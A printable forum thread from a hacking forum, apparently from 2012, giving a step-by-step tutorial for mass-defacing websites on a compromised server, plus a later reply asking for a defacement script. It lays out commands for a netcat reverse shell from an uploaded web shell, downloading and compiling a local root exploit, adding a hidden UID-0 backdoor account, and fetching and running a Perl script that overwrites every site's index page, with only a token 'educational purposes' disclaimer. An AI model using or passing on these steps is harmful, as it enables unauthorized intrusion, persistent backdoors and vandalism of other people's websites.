Sinisterly
Tutorial Mass Deface via Local Root - Printable Version

+- Sinisterly (https://sinister.li)
+-- Forum: Hacking (https://sinister.li/Forum-Hacking)
+--- Forum: Website & Server Hacking (https://sinister.li/Forum-Website-Server-Hacking)
+--- Thread: Tutorial Mass Deface via Local Root (/Thread-Tutorial-Mass-Deface-via-Local-Root)



Mass Deface via Local Root - Zealotry - 11-29-2012

How to Crack WPA/WPA2


About this TuT
This tutorial will be how to deface many websites at once.

You'll need several files:
Shelled Website
NetCat
A Local Root Exploit
Mass Perl Script
VPN, Tor, etc.

First off, we have to have a basic understanding of what root is. Root is basically the administrator of servers. With root, a person can delete files, copy files, add and delete files, etc.

Getting Started - Preparation
Now,
Check what kernel the server is using. This is shown on the shell that you uploaded. Or, you can Execute Case on the shell and execute uname -a for the same result.

Check for an exploit in the Pastebin linked above.

Next, open up a port (I always use 443). Open netcat and type:
Code:
-l -n -v -p 443

Go back to your shell and go to backconnect. Enter the port you opened and press connect. It should then connect to your netcat.

Now, you need to wget the exploit link (They're Here) in netcat. It will download the zip to the server.

If the exploit is downloaded as:
EXPLOITNAMEHERE.c
Then simply compile it by
Code:
gcc EXPLOITNAMEHERE.c -o EXPLOITNAMEHERE

If it downloaded as EXPLOITNAMEHERE.zip, simply:
Code:
unzip EXPLOITNAMEHERE.zip.
Now, let's get root, shall we?

Getting Root
Type:
Code:
chmod 777 EXPLOITNAMEHERE
Then run it...
Code:
./EXPLOITNAMEHERE
Type:
Code:
id (You can also do whoami)
to see if you're root.

Now, we'll add a new root user.

Command is:
Code:
adduser -u 0 -o -g 0 -G 0,1,2,3,4,6,10 -M DESIREDROOTNAME

Now, password for root (you're almost done):
Code:
passwd DESIREDROOTNAME
To check if you did it right, do:
Code:
id DESIREDROOTNAME

Mass Defacing
Now, for the fun part.
Code:
cd /tmp

Then wget the site you uploaded that mass.zip to:
Code:
wget WWW.SITENAMEHERE.COM/WHEREEVER/mass.zip

Then unzip...:
Code:
unzip mass.zip
Run the script...
Code:
perl mass.pl perl mass.pl /tmp/index.html wget www.abc.com/index.html (THIS IS YOUR DEFACE PAGE!)

Now for the final step...
Code:
perl mass.pl /tmp/index.html

Enjoy, this is for educational purposes, and only you are responsible for your actions.
Credits to whoever I learned this from (several sources that I never saved).

Zealotry



RE: Mass Deface via Local Root - Day_Ghoul - 01-01-2020

What if you need a port deface, i saw a video firehawk made but couldnt find the scrpt cn u hlp me pls.